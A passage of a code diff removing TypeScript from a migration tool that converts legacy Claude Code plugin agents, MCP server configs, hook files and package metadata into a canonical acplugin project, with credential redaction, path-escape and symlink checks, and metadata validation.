`Migrated Agent ${id}.`; - reportField(fields, 'description', source, agent.frontmatter.description ? 'mapped' : 'degraded', agent.frontmatter.description - ? 'Description maps directly to canonical Agent frontmatter.' - : 'Description required a generated fallback.'); - /** 旧模型是否属于可映射的已知集合。 */ - const knownModel = agent.frontmatter.model === undefined || ['inherit', 'haiku', 'sonnet', 'opus'].includes(agent.frontmatter.model); - if (agent.frontmatter.model !== undefined) { - reportField(fields, 'model', source, knownModel ? 'mapped' : 'degraded', knownModel - ? 'Known Claude model maps to the canonical model class.' - : 'Unknown model was generalized to inherit.'); - } - /** 可以由 Claude Code Platform 精确保留的 Agent 字段。 */ - const claudeFields: Record = {}; - /** 旧工具白名单及其跨平台保守能力映射。 */ - const tools = legacyStringList(agent.frontmatter.tools); - if (agent.frontmatter.tools !== undefined) { - if (tools) { - claudeFields.tools = tools; - /** 无法推导跨平台 capability 的工具仍会在 Claude Code 字段中精确保留。 */ - const hasPlatformOnlyTool = tools.some(tool => capabilitiesFromTools([tool]).length === 0); - reportField(fields, 'tools', source, hasPlatformOnlyTool ? 'degraded' : 'mapped', hasPlatformOnlyTool - ? 'Tool restrictions are preserved for Claude Code, but at least one tool has no portable capability mapping.' - : 'Tool restrictions map to Claude Code and portable capabilities.'); - } else { - reportField(fields, 'tools', source, 'unmapped', 'tools was not a valid non-empty tool list.'); - } - } - /** 旧工具黑名单仅在 Claude Code Platform 中精确保留。 */ - const disallowedTools = legacyStringList(agent.frontmatter.disallowedTools); - if (agent.frontmatter.disallowedTools !== undefined) { - if (disallowedTools) { - claudeFields.disallowedTools = disallowedTools; - reportField(fields, 'disallowedTools', source, 'mapped', 'Denied tools map to the Claude Code Platform field.'); - } else { - reportField(fields, 'disallowedTools', source, 'unmapped', 'disallowedTools was not a valid non-empty tool list.'); - } - } - /** 字段及其允许值谓词组成的 Claude Code 精确映射表。 */ - const exactFields: readonly [string, unknown, (value: unknown) => boolean][] = [ - ['effort', agent.frontmatter.effort, value => typeof value === 'string' && ['low', 'medium', 'high', 'xhigh', 'max'].includes(value)], - ['maxTurns', agent.frontmatter.maxTurns, value => Number.isInteger(value) && Number(value) > 0], - ['skills', agent.frontmatter.skills, value => legacyStringList(value) !== undefined], - ['memory', agent.frontmatter.memory, value => typeof value === 'string' && ['user', 'project', 'local'].includes(value)], - ['background', agent.frontmatter.background, value => typeof value === 'boolean'], - ['isolation', agent.frontmatter.isolation, value => value === 'worktree'], - ]; - /** [field, value, valid] 表示当前可进入 Claude Code Agent Platform 字段的候选。 */ - for (const [field, value, valid] of exactFields) { - if (value === undefined) - continue; - if (valid(value)) { - claudeFields[field] = field === 'skills' ? legacyStringList(value)! : value; - reportField(fields, field, source, 'mapped', `${field} maps to the verified Claude Code Platform field.`); - } else { - reportField(fields, field, source, 'unmapped', `${field} did not satisfy the current Claude Code field contract.`); - } - } - reportUnknownFields(fields, source, agent.frontmatter as unknown as Readonly>, new Set([ - 'name', 'description', 'tools', 'disallowedTools', 'model', 'effort', 'maxTurns', 'skills', 'memory', 'background', 'isolation', - ])); - /** 规范 Agent 文件的工程相对路径。 */ - const destination = `src/agents/${id}.md`; - reportField(fields, 'body', source, 'mapped', 'Markdown body maps without model-visible migration annotations.'); - items.push(migrationItem({ kind: 'agent', id, source, destination }, fields)); - return copyText(path.join(outputRoot, destination), markdownWithFrontmatter({ - description, - model: mappedModel(agent.frontmatter.model), - capabilities: capabilitiesFromTools(tools ?? []), - ...(Object.keys(claudeFields).length === 0 ? {} : { platforms: { 'claude-code': claudeFields } }), - }, agent.body)); -} - -/** - * 识别仅包含 `${ENV_NAME}` 的安全环境变量引用。 - * - * @param value 旧配置中的字符串值。 - * @returns 环境变量名称;包含字面量或无效语法时返回 undefined。 - */ -function environmentReference(value: string): string | undefined { - /** 完整匹配环境变量插值的捕获结果。 */ - const match = value.match(/^\$\{([A-Za-z_][A-Za-z0-9_]*)\}$/); - return match?.[1]; -} - -/** - * 尝试把无凭据、HTTPS 且只引用环境变量的旧远程 MCP 转为类型化定义源码。 - * - * @param server Legacy Scanner 读取的 MCP Server。 - * @returns 可安全自动迁移的 `mcp.ts` 源码,否则返回 undefined 并转入未映射区。 - */ -function remoteMcpSource(server: MCPServer): string | undefined { - if (!server.url || !['http', 'streamable-http', undefined].includes(server.type)) - return undefined; - /** 完成语法与敏感 URL 组件检查的远程端点。 */ - let endpoint: URL; - try { - endpoint = new URL(server.url); - } catch { - return undefined; - } - if (endpoint.protocol !== 'https:' || endpoint.username || endpoint.password || endpoint.search || endpoint.hash) - return undefined; - /** 仅保留环境变量引用的非认证 Header。 */ - const headers: Record = {}; - /** 从 Authorization Header 提取的可选 Bearer 环境变量策略。 */ - let auth: Record | undefined; - for (const [name, value] of Object.entries(server.headers ?? {})) { - /** Authorization Header 是否是可安全迁移的 Bearer 环境变量引用。 */ - const bearer = name.toLowerCase() === 'authorization' && value.match(/^Bearer \$\{([A-Za-z_][A-Za-z0-9_]*)\}$/); - if (bearer) { - auth = { type: 'bearer', env: bearer[1]! }; - continue; - } - /** 普通 Header 值中唯一允许保留的环境变量名。 */ - const env = environmentReference(value); - if (!env) - return undefined; - headers[name] = { env }; - } - /** 按稳定格式组装的类型化 MCP 描述源码行。 */ - const descriptor = [ - `import type { McpServer } from '@tokenroll/acplugin-extension-mcp';`, - '', - 'export default {', - ` transport: 'http',`, - ` url: ${JSON.stringify(endpoint.href)},`, - ...(auth ? [` auth: ${JSON.stringify(auth)},`] : []), - ...(Object.keys(headers).length ? [` headers: ${JSON.stringify(headers, null, 2).replaceAll('\n', '\n ')},`] : []), - '} satisfies McpServer;', - '', - ]; - return descriptor.join('\n'); -} - -/** - * 创建可供人工恢复的旧 MCP 摘要,同时移除参数、环境值、Header 值和 URL 凭据。 - * - * @param server 无法自动迁移的旧 MCP Server。 - * @returns 不包含已知敏感值的结构化摘要。 - */ -function redactedMcpServer(server: MCPServer): Record { - /** 清除凭据、查询和片段后的可选 URL。 */ - let url = server.url; - if (url) { - try { - /** 用于移除用户信息、查询和片段的 URL 副本。 */ - const parsed = new URL(url); - parsed.username = ''; - parsed.password = ''; - parsed.search = ''; - parsed.hash = ''; - url = parsed.href; - } catch { - url = ''; - } - } - return { - name: server.name, - ...(server.type === undefined ? {} : { type: server.type }), - ...(server.command === undefined ? {} : { command: server.command }), - ...(server.args === undefined ? {} : { args: server.args.map(() => '') }), - ...(server.env === undefined ? {} : { env: Object.fromEntries(Object.keys(server.env).sort().map(name => [name, ''])) }), - ...(url === undefined ? {} : { url }), - ...(server.headers === undefined ? {} : { headers: Object.fromEntries(Object.keys(server.headers).sort().map(name => [name, ''])) }), - }; -} - -/** - * 把无法安全自动迁移的文本保存在专用未映射目录。 - * - * @param outputRoot 新规范工程的阶段目录。 - * @param category 未映射资源类别。 - * @param filename 保留内容使用的相对文件名。 - * @param content 已脱敏或本就不含凭据的内容。 - * @returns 新工程内的未映射文件路径。 - */ -async function unmapped( - outputRoot: string, - category: string, - filename: string, - content: string, -): Promise { - /** 与可发布源码隔离的未映射目标路径。 */ - const destination = `.acplugin-migration/unmapped/${category}/${filename}`; - await copyText(path.join(outputRoot, destination), content); - return destination; -} - -/** - * 从旧 Hook 命令中提取相对于 Plugin/Project 根目录的文件引用候选。 - * - * @param hooks Legacy Scanner 读取的原始 Hook 配置。 - * @returns 去重并稳定排序的相对路径。 - */ -function hookReferenceCandidates(hooks: Hooks): string[] { - /** 从环境变量根路径和 `./` 语法提取的引用集合。 */ - const references = new Set(); - for (const matchers of Object.values(hooks)) { - for (const matcher of matchers) { - for (const hook of matcher.hooks) { - if (!hook.command) - continue; - for (const match of hook.command.matchAll(/(?:\$\{(?:CLAUDE_PLUGIN_ROOT|CLAUDE_PROJECT_DIR)\}|\$(?:CLAUDE_PLUGIN_ROOT|CLAUDE_PROJECT_DIR))\/([^\s"'`;|&]+)/g)) - references.add(match[1]!); - for (const match of hook.command.matchAll(/(?:^|[\s"'=])\.\/([^\s"'`;|&]+)/g)) - references.add(match[1]!); - } - } - } - return [...references].sort(compareCodeUnits); -} - -/** - * 递归保留旧 Hook 引用文件,但不把未经类型化迁移的代码加入可发布源码。 - * - * @param sourceRoot 旧工程根目录和路径信任边界。 - * @param relativePath Hook 命令提取出的相对路径。 - * @param outputRoot 新规范工程的阶段目录。 - * @param items 共享迁移报告条目数组。 - */ -async function copyHookReference( - sourceRoot: string, - relativePath: string, - outputRoot: string, - items: MigrationItem[], -): Promise { - /** 解析后的 Hook 引用绝对路径。 */ - const source = path.resolve(sourceRoot, relativePath); - /** 用于阻止目录逃逸并生成报告的来源相对路径。 */ - const relation = path.relative(sourceRoot, source); - if (relation === '..' || relation.startsWith(`..${path.sep}`) || path.isAbsolute(relation)) { - /** 越界引用只保留脱敏字段结论,不把绝对解析路径写入报告。 */ - const safeSource = relativePath.split(path.sep).join('/'); - items.push(migrationItem({ kind: 'hook-file', id: safeSource }, [{ - field: 'content', source: safeSource, outcome: 'unmapped', - reason: 'Referenced Hook file escapes the source project and was not copied.', - }])); - return; - } - /** 引用文件的 lstat 元数据,用于拒绝符号链接。 */ - let stat: import('node:fs').Stats; - try { - stat = await fs.lstat(source); - } catch { - /** 不存在的引用仍用工程相对路径进入字段报告。 */ - const normalized = relation.split(path.sep).join('/'); - items.push(migrationItem({ kind: 'hook-file', id: relativePath, source: normalized }, [{ - field: 'content', source: normalized, outcome: 'unmapped', - reason: 'Referenced Hook file does not exist and requires manual recovery.', - }])); - return; - } - if (stat.isSymbolicLink()) { - /** 符号链接不解引用,只报告链接自身的相对位置。 */ - const normalized = relation.split(path.sep).join('/'); - items.push(migrationItem({ kind: 'hook-file', id: relativePath, source: normalized }, [{ - field: 'content', source: normalized, outcome: 'unmapped', - reason: 'Referenced Hook symlinks are not copied.', - }])); - return; - } - if (stat.isDirectory()) { - /** 按名称稳定递归的目录项。 */ - const entries = await fs.readdir(source, { withFileTypes: true }); - for (const entry of entries.sort((a, b) => compareCodeUnits(a.name, b.name))) - await copyHookReference(sourceRoot, path.join(relativePath, entry.name), outputRoot, items); - return; - } - if (!stat.isFile()) - return; - /** 报告和未映射目录使用的 POSIX 相对路径。 */ - const normalized = relation.split(path.sep).join('/'); - /** 与可发布源码隔离的 Hook 文件目标路径。 */ - const destination = `.acplugin-migration/unmapped/hook-files/${normalized}`; - /** 未映射文件的绝对写入路径。 */ - const output = path.join(outputRoot, destination); - await fs.mkdir(path.dirname(output), { recursive: true }); - await fs.copyFile(source, output); - items.push(migrationItem({ kind: 'hook-file', id: normalized, source: normalized, destination }, [{ - field: 'content', source: normalized, destination, outcome: 'unmapped', - reason: 'Referenced Hook implementation was preserved for manual typed migration.', - }])); -} - -/** 旧 JSON 中可枚举且不是数组的对象形态。 */ -function isRecord(value: unknown): value is Record { - return value !== null && typeof value === 'object' && !Array.isArray(value); -} - -/** - * 按 Core 规则把非空字符串去除首尾空白。 - * - * @param value 未经 Schema 验证的旧字段值。 - * @returns 可进入规范配置的字符串;类型或内容无效时返回 undefined。 - */ -function normalizedText(value: unknown): string | undefined { - return typeof value === 'string' && value.trim() !== '' ? value.trim() : undefined; -} - -/** - * 使用与 Core 一致的绝对 HTTP(S) URL 边界。 - * - * @param value 已去除首尾空白的 URL 候选。 - * @returns URL 具有 HTTP(S) 协议和主机名时返回 true。 - */ -function isHttpUrl(value: string): boolean { - try { - /** 标准 URL 解析结果用于拒绝相对路径和不完整主机名。 */ - const parsed = new URL(value); - return (parsed.protocol === 'http:' || parsed.protocol === 'https:') && parsed.hostname.length > 0; - } catch { - return false; - } -} - -/** - * 判断字符串是否为 Core 接受的 SPDX 许可表达式。 - * - * @param value 已去除首尾空白的许可候选。 - * @returns SPDX Parser 接受该完整表达式时返回 true。 - */ -function isSpdxExpression(value: string): boolean { - try { - parseSpdxExpression(value); - return true; - } catch { - return false; - } -} - -/** 统一元数据字段及其旧 interface 回退来源。 */ -interface MetadataCandidate { - /** 报告中保留的精确旧字段路径。 */ - readonly field: string; - /** 未经旧 Schema 校验的字段值。 */ - readonly value: unknown; - /** 该字段是否只能作为统一字段的回退来源。 */ - readonly fallback: boolean; -} - -/** - * 从一组优先级候选选择首个合法文本,并逐项报告所有实际来源。 - * - * @param fields 当前元数据资源的字段报告。 - * @param source 旧元数据清单相对路径。 - * @param candidates 主字段和 interface 回退字段的优先级列表。 - * @param label 不包含原始值的字段说明。 - * @param validate 对规范化文本执行的可选 Core 等价校验。 - * @returns 首个合法候选的规范化值。 - */ -function selectMetadataText( - fields: MigrationFieldDraft[], - source: string, - candidates: readonly MetadataCandidate[], - label: string, - validate: (value: string) => boolean = () => true, -): string | undefined { - /** 每个实际来源的规范化结果;undefined 表示无法自动映射。 */ - const normalized = candidates.map(candidate => candidate.value === undefined - ? undefined - : normalizedText(candidate.value)); - /** 首个同时满足文本和字段专属契约的来源索引。 */ - const selectedIndex = normalized.findIndex(value => value !== undefined && validate(value)); - /** 最终进入规范配置的字段值。 */ - const selected = selectedIndex < 0 ? undefined : normalized[selectedIndex]; - for (const [index, candidate] of candidates.entries()) { - if (candidate.value === undefined) - continue; - /** 当前来源去空白后的候选文本。 */ - const value = normalized[index]; - if (value === undefined || !validate(value)) { - reportField(fields, candidate.field, source, 'unmapped', `${label} did not satisfy the canonical metadata contract.`); - } else if (index === selectedIndex) { - /** 回退选择或字符串规范化都必须在总体报告中保持 degraded。 */ - const normalizedOrFallback = candidate.fallback || value !== candidate.value; - reportField(fields, candidate.field, source, normalizedOrFallback ? 'degraded' : 'mapped', normalizedOrFallback - ? `${label} required fallback selection or whitespace normalization.` - : `${label} maps directly to the corresponding top-level config field.`); - } else if (value === selected) { - reportField(fields, candidate.field, source, 'degraded', `${label} duplicates the selected source and was collapsed into one canonical field.`); - } else { - reportField(fields, candidate.field, source, 'unmapped', `${label} conflicts with the higher-priority source and cannot be represented separately.`); - } - } - return selected; -} - -/** - * 从旧 Plugin 元数据、CLI 参数或交互提示中确定规范工程元数据。 - * - * @param scan Legacy Scanner 结果。 - * @param options 迁移 CLI 选项。 - * @returns 已验证名称、版本、描述和可选展示名称。 - */ -async function metadataFor(scan: ScanResult, options: MigrationOptions, items: MigrationItem[]): Promise { - /** 仅 Plugin/Marketplace 扫描结果携带的旧 Plugin 元数据。 */ - const plugin = 'meta' in scan ? scan as PluginScanResult : undefined; - /** Plugin 元数据来自清单;Project 的必填值来自 CLI 并以来源根表示。 */ - const source = plugin?.metadataSource ?? '.'; - /** 顶层元数据全部已发现字段的保真记录。 */ - const fields: MigrationFieldDraft[] = []; - /** 只有普通对象形态的 Marketplace interface 才能安全枚举回退字段。 */ - const pluginInterface = isRecord(plugin?.meta.interface) ? plugin.meta.interface : undefined; - if (plugin?.meta.interface !== undefined && pluginInterface === undefined) - reportField(fields, 'interface', source, 'unmapped', 'Marketplace interface was not an object.'); - - /** CLI 或旧元数据提供的原始名称候选。 */ - let rawName: unknown = options.name ?? plugin?.meta.name; - if (rawName === undefined && process.stdin.isTTY) - rawName = await input({ message: 'Plugin name', default: safeId(path.basename(scan.rootDir)) }); - if (rawName === undefined) - throw new Error('Migration requires plugin name and description; pass --name and --description in non-interactive mode.'); - if (options.name !== undefined && !ID_PATTERN.test(options.name)) - throw new Error('Migration plugin name must be lowercase kebab-case.'); - /** 最终名称;旧名称可以安全规范化,显式 CLI 名称仍保持严格输入边界。 */ - const name = typeof rawName === 'string' && ID_PATTERN.test(rawName) - ? rawName - : safeId(typeof rawName === 'string' ? rawName : path.basename(scan.rootDir)); - reportField(fields, 'name', source, - typeof rawName === 'string' && ID_PATTERN.test(rawName) && (options.name === undefined || plugin?.meta.name === undefined || plugin.meta.name === rawName) - ? 'mapped' - : typeof rawName === 'string' ? 'degraded' : 'unmapped', - typeof rawName === 'string' && ID_PATTERN.test(rawName) - ? options.name !== undefined && plugin?.meta.name !== undefined && plugin.meta.name !== rawName - ? 'Explicit migration name overrides a different legacy identity.' - : 'Plugin identity maps to top-level config name.' - : typeof rawName === 'string' - ? 'Legacy identity required lowercase kebab-case normalization.' - : 'Invalid legacy identity required a directory-name fallback.'); - - /** 旧根描述及两个 Marketplace interface 回退字段。 */ - const descriptionCandidates: readonly MetadataCandidate[] = [ - { field: 'description', value: plugin?.meta.description, fallback: false }, - { field: 'interface.shortDescription', value: pluginInterface?.shortDescription, fallback: true }, - { field: 'interface.longDescription', value: pluginInterface?.longDescription, fallback: true }, - ]; - /** 未提供 CLI 覆盖时由旧字段优先级选出的描述。 */ - const legacyDescription = options.description === undefined - ? selectMetadataText(fields, source, descriptionCandidates, 'Description') - : undefined; - /** CLI 描述也按 Core 规则规范化,不允许空白字符串绕过。 */ - let description = normalizedText(options.description) ?? legacyDescription; - if (options.description !== undefined) { - if (description === undefined) - throw new Error('Migration description must be a non-empty string.'); - /** candidate 表示被显式 CLI 描述取代、但仍必须报告的旧来源字段。 */ - for (const candidate of descriptionCandidates) { - if (candidate.value === undefined) - continue; - /** 旧描述的规范化文本,用于区分无效输入与有意覆盖。 */ - const value = normalizedText(candidate.value); - reportField(fields, candidate.field, source, value === undefined ? 'unmapped' : 'degraded', value === undefined - ? 'Description did not satisfy the canonical metadata contract.' - : 'Explicit migration description superseded this legacy description source.'); - } - if (!plugin) - reportField(fields, 'description', source, description === options.description ? 'mapped' : 'degraded', description === options.description - ? 'Explicit description maps to top-level config description.' - : 'Explicit description required whitespace normalization.'); - } - if (description === undefined && process.stdin.isTTY) - description = normalizedText(await input({ message: 'Plugin description' })); - if (description === undefined) - throw new Error('Migration requires plugin name and description; pass --name and --description in non-interactive mode.'); - - /** npm SemVer 解析器与 Core 使用同一完整版本规则,包括 build metadata。 */ - const rawVersion = plugin?.meta.version as unknown; - /** 合法旧版本或明确记录降级后的稳定迁移默认版本。 */ - const version = typeof rawVersion === 'string' && semver.valid(rawVersion) ? rawVersion : '0.1.0'; - if (rawVersion !== undefined) { - reportField(fields, 'version', source, version === rawVersion ? 'mapped' : 'degraded', version === rawVersion - ? 'Semantic version maps directly to top-level config version.' - : 'Invalid legacy version required the 0.1.0 fallback.'); - } else { - reportField(fields, 'version', source, 'degraded', 'Missing legacy version required the 0.1.0 migration default.'); - } - - /** 展示名称优先保留根字段,Marketplace interface 只提供显式降级回退。 */ - const displayName = selectMetadataText(fields, source, [ - { field: 'displayName', value: plugin?.meta.displayName, fallback: false }, - { field: 'interface.displayName', value: pluginInterface?.displayName, fallback: true }, - ], 'Display name'); - - /** 旧 author 可能来自未经 Schema 校验的任意 JSON 值。 */ - const rawAuthor = plugin?.meta.author as unknown; - /** 只有根 author.name 合法时才允许组合其 email/url。 */ - const authorRecord = isRecord(rawAuthor) ? rawAuthor : undefined; - /** 根作者名称去空白后的候选。 */ - const rootAuthorName = normalizedText(authorRecord?.name); - /** Marketplace 展示层开发者名称只作为作者回退。 */ - const developerName = normalizedText(pluginInterface?.developerName); - /** 最终统一作者元数据。 */ - let author: PluginMetadata['author']; - if (rawAuthor !== undefined && authorRecord === undefined) - reportField(fields, 'author', source, 'unmapped', 'Author was not an object.'); - if (authorRecord !== undefined) { - if (authorRecord.name === undefined || rootAuthorName === undefined) { - reportField(fields, 'author.name', source, 'unmapped', 'Author name was not a non-empty string.'); - } else { - reportField(fields, 'author.name', source, rootAuthorName === authorRecord.name ? 'mapped' : 'degraded', rootAuthorName === authorRecord.name - ? 'Author name maps to top-level config author.name.' - : 'Author name required whitespace normalization.'); - } - /** 合法根身份下可以独立恢复的 email 与 URL。 */ - const authorDetails: { email?: string; url?: string } = {}; - for (const field of ['email', 'url'] as const) { - /** 当前作者详情字段未经验证的原始值。 */ - const rawValue = authorRecord[field]; - if (rawValue === undefined) - continue; - /** 去空白后的 email 或 URL。 */ - const value = normalizedText(rawValue); - /** 字段自身合法且具有可组合的作者身份时才写入。 */ - const valid = rootAuthorName !== undefined && value !== undefined - && (field === 'email' ? EMAIL_PATTERN.test(value) : isHttpUrl(value)); - if (valid) { - authorDetails[field] = value; - reportField(fields, `author.${field}`, source, value === rawValue ? 'mapped' : 'degraded', value === rawValue - ? `Author ${field} maps to top-level config author.${field}.` - : `Author ${field} required whitespace normalization.`); - } else { - reportField(fields, `author.${field}`, source, 'unmapped', `Author ${field} did not satisfy the canonical metadata contract.`); - } - } - /** key 表示旧 author 中当前无法识别的额外字段。 */ - for (const key of Object.keys(authorRecord).sort(compareCodeUnits)) { - if (!['name', 'email', 'url'].includes(key)) - reportField(fields, `author.${key}`, source, 'unmapped', 'Unknown author field has no canonical mapping.'); - } - if (rootAuthorName !== undefined) - author = { name: rootAuthorName, ...authorDetails }; - } - if (pluginInterface?.developerName !== undefined) { - if (developerName === undefined) { - reportField(fields, 'interface.developerName', source, 'unmapped', 'Developer name was not a non-empty string.'); - } else if (author === undefined) { - author = { name: developerName }; - reportField(fields, 'interface.developerName', source, 'degraded', 'Developer name was used as the fallback canonical author.'); - } else if (author.name === developerName) { - reportField(fields, 'interface.developerName', source, 'degraded', 'Developer name duplicates author.name and was collapsed.'); - } else { - reportField(fields, 'interface.developerName', source, 'unmapped', 'Developer name conflicts with author.name and cannot be represented separately.'); - } - } - - /** URL 字段均按绝对 HTTP(S) 规则验证,interface website 只能降级回退。 */ - const homepage = selectMetadataText(fields, source, [ - { field: 'homepage', value: plugin?.meta.homepage, fallback: false }, - { field: 'interface.websiteURL', value: pluginInterface?.websiteURL, fallback: true }, - ], 'Homepage', isHttpUrl); - /** Repository 没有 interface 回退来源。 */ - const repository = selectMetadataText(fields, source, [ - { field: 'repository', value: plugin?.meta.repository, fallback: false }, - ], 'Repository', isHttpUrl); - /** License 使用真实 SPDX Parser,不以非空字符串冒充合法表达式。 */ - const license = selectMetadataText(fields, source, [ - { field: 'license', value: plugin?.meta.license, fallback: false }, - ], 'License', isSpdxExpression); - - /** Keywords 允许去空白和去重,但任何这种规范化都必须 degraded。 */ - const rawKeywords = plugin?.meta.keywords as unknown; - /** 只有结构有效时才写入配置的规范 keyword 列表。 */ - let keywords: readonly string[] | undefined; - if (rawKeywords !== undefined) { - if (!Array.isArray(rawKeywords) || rawKeywords.some(keyword => normalizedText(keyword) === undefined)) { - reportField(fields, 'keywords', source, 'unmapped', 'Keywords must be an array of non-empty strings.'); - } else { - /** 保持首次出现顺序的规范 keyword。 */ - const normalizedKeywords = rawKeywords.map(keyword => normalizedText(keyword)!); - /** 去重后的规范 keyword 数组。 */ - const uniqueKeywords = [...new Set(normalizedKeywords)]; - /** 去空白或重复折叠都会改变旧字段表示。 */ - const changed = uniqueKeywords.length !== normalizedKeywords.length - || normalizedKeywords.some((keyword, index) => keyword !== rawKeywords[index]); - keywords = uniqueKeywords; - reportField(fields, 'keywords', source, changed ? 'degraded' : 'mapped', changed - ? 'Keywords required whitespace normalization or duplicate removal.' - : 'Keywords map directly to the top-level config field.'); - } - } - - if (plugin?.meta.category !== undefined) - reportField(fields, 'category', source, 'unmapped', 'Platform-neutral metadata has no category field; configure it on a Platform factory.'); - if (plugin?.meta.apps !== undefined) - reportField(fields, 'apps', source, 'unmapped', 'Legacy apps are outside the acplugin 1.0 component contract.'); - /** field 表示当前没有统一元数据或安全自动映射的旧 interface 字段。 */ - for (const field of Object.keys(pluginInterface ?? {}).sort(compareCodeUnits)) { - if (!['displayName', 'shortDescription', 'longDescription', 'developerName', 'websiteURL'].includes(field)) - reportField(fields, `interface.${field}`, source, 'unmapped', 'The Marketplace interface field requires explicit Platform configuration.'); - } - /** 只写入通过逐字段校验的元数据,避免最终 Pipeline 退化为无字段信息的通用失败。 */ - const metadata: PluginMetadata = { - name, - version, - description, - ...(displayName === undefined ? {} : { displayName }), - ...(author === undefined ? {} : { author }), - ...(homepage === undefined ? {} : { homepage }), - ...(repository === undefined ? {} : { repository }), - ...(license === undefined ? {} : { license }), - keywords: keywords ?? [], - }; - items.push(migrationItem({ kind: 'metadata', id: name, source, destination: 'acplugin.config.ts' }, fields)); - return metadata; -} - -/** - * 用正式公开 API 加载并验证刚生成、尚未提交的规范工程。 - * - * 生成工程尚未安装 package.json 依赖,因此验证期间创建只存在于 stage 的 ESM 代理。 - * 代理不实现任何规则,只把配置和 descriptor 导向当前进程已经加载的真实主包与 MCP - * Extension;验证后整个 node_modules 会在提交前删除。 - * - * @param outputRoot 单个迁移后规范工程的阶段目录。 - * @param usesMcp 工程是否需要正式 MCP Extension 参与 discover/validate。 - * @returns 公开 runProject() 返回的完整结构化诊断。 - */ -async function validateCanonicalProject( - outputRoot: string, - usesMcp: boolean, - metadata: PluginMetadata, -): Promise { - /** 只供本次配置和 descriptor 加载解析包名的临时依赖根。 */ - const nodeModules = path.join(outputRoot, 'node_modules'); - /** 最终生成配置在验证期间由等价元数据的私有验证配置暂时替代。 */ - const configPath = path.join(outputRoot, 'acplugin.config.ts'); - /** 验证后必须恢复的最终用户配置文本。 */ - const generatedConfig = await fs.readFile(configPath, 'utf8'); - /** 全局桥接不暴露 Core Registry,也不引用或内联任何官方集成实现。 */ - const api: MigrationValidationApi = Object.freeze({ - defineConfig, - migrationValidationPlatform, - migrationValidationMcp, - }); - Reflect.set(globalThis, MIGRATION_VALIDATION_API, api); - activeValidationProxies += 1; - try { - /** 临时主包代理由生成的 acplugin.config.ts 正常按包名导入。 */ - const acpluginPackage = path.join(nodeModules, '@tokenroll/acplugin'); - await copyText(path.join(acpluginPackage, 'package.json'), stableJson({ - name: '@tokenroll/acplugin', - version: '1.0.0', - type: 'module', - exports: './index.mjs', - })); - await copyText(path.join(acpluginPackage, 'index.mjs'), ` -const api = globalThis[Symbol.for('tokenroll.acplugin.migration-validation-api')]; -if (!api) throw new Error('Migration validation API is unavailable.'); -export const defineConfig = api.defineConfig; -export const migrationValidationPlatform = api.migrationValidationPlatform; -export const migrationValidationMcp = api.migrationValidationMcp; -`); - if (usesMcp) { - /** 临时 MCP 包只为生成源码中的 type-only import 提供可解析包身份。 */ - const extensionPackage = path.join(nodeModules, '@tokenroll/acplugin-extension-mcp'); - await copyText(path.join(extensionPackage, 'package.json'), stableJson({ - name: '@tokenroll/acplugin-extension-mcp', - version: '1.0.0', - type: 'module', - exports: './index.mjs', - })); - await copyText(path.join(extensionPackage, 'index.mjs'), 'export {};\n'); - } - /** 用相同元数据驱动 Core Scanner;正式 Platform/Extension 在安装依赖后自行验证。 */ - await fs.writeFile(configPath, ` -import { - defineConfig, - migrationValidationMcp, - migrationValidationPlatform, -} from '@tokenroll/acplugin'; - -export default defineConfig({ - ...${stableJson(metadata).trim()}, - extensions: ${usesMcp ? '[migrationValidationMcp]' : '[]'}, - platforms: [migrationValidationPlatform], - build: { strict: false }, -}); -`); - /** 正式配置加载、Scanner、Extension 和全部配置 Platform validate 的公开结果。 */ - const result = await runProject({ - cwd: outputRoot, - command: 'validate', - mode: 'production', - commit: false, - }); - return result.diagnostics; - } catch { - /** 配置执行异常统一收敛为不携带路径、导出值或堆栈的迁移诊断。 */ - const diagnostics: readonly Diagnostic[] = Object.freeze([{ - code: 'MIGRATION_PROJECT_VALIDATION_FAILED', - severity: 'error', - phase: 'validate', - message: 'The generated project could not be loaded and validated through the public API.', - }]); - return diagnostics; - } finally { - await fs.writeFile(configPath, generatedConfig); - await fs.rm(nodeModules, { recursive: true, force: true }); - activeValidationProxies -= 1; - if (activeValidationProxies === 0) - Reflect.deleteProperty(globalThis, MIGRATION_VALIDATION_API); - } -} - -/** - * 把单个 Legacy ScanResult 写成完整规范工程,并用 Core Scanner 重新验证。 - * - * Instructions、原始 Hooks、不安全 MCP 和未分类文件只进入 `.acplugin-migration/unmapped`, - * 不会静默进入可发布 Plugin 内容。 - * - * @param scan 旧工程或单个旧 Plugin 的扫描结果。 - * @param outputRoot 新规范工程的阶段目录。 - * @param options 迁移元数据和严格度选项。 - * @returns 资源迁移条目与规范工程重新扫描诊断。 - */ -async function writeCanonicalProject( - scan: ScanResult, - outputRoot: string, - options: MigrationOptions, -): Promise<{ items: MigrationItem[]; diagnostics: readonly Diagnostic[] }> { - /** 当前工程累计的资源迁移结论。 */ - const items: MigrationItem[] = []; - /** 新工程最终使用的规范元数据。 */ - const metadata = await metadataFor(scan, options, items); - // 即使旧来源只有未映射资源,也要保留合法的空 src 根以通过最终 Core 空状态校验。 - await fs.mkdir(path.join(outputRoot, 'src'), { recursive: true }); - /** 先整体分配 Skill ID,避免规范化冲突覆盖显式 ID 或依赖扫描顺序。 */ - const skills = allocateMigrationIds(scan.skills.map(skill => ({ - value: skill, - baseId: safeId(skill.dirName), - sourcePath: relative(scan.rootDir, skill.sourcePath), - }))); - /** Command 使用独立 namespace,不与 Skill/Agent 的同名资源冲突。 */ - const commands = allocateMigrationIds(scan.commands.map(command => ({ - value: command, - baseId: safeId(command.name), - sourcePath: relative(scan.rootDir, command.sourcePath), - }))); - /** Agent 使用独立 namespace,并在报告冻结前确定最终 destination。 */ - const agents = allocateMigrationIds(scan.agents.map(agent => ({ - value: agent, - baseId: safeId(agent.fileName), - sourcePath: relative(scan.rootDir, agent.sourcePath), - }))); - /** Skills、Commands 与 Agents 的并行写入任务。 */ - const writes: Promise[] = []; - for (const skill of skills) - writes.push(...migrateSkill(skill.value, skill.id, scan.rootDir, outputRoot, items)); - for (const command of commands) - writes.push(migrateCommand(command.value, command.id, scan.rootDir, outputRoot, items)); - for (const agent of agents) - writes.push(migrateAgent(agent.value, agent.id, scan.rootDir, outputRoot, items)); - await Promise.all(writes); - - for (const [index, instruction] of scan.instructions.entries()) { - /** 当前越界 Instruction 的安全未映射保留路径。 */ - const destination = await unmapped(outputRoot, 'instructions', `${index}-${instruction.fileName}`, instruction.content); - /** Instruction 原文所在的旧工程相对路径。 */ - const source = relative(scan.rootDir, instruction.sourcePath); - items.push(migrationItem({ kind: 'instruction', id: instruction.fileName, source, destination }, [{ - field: 'content', source, destination, 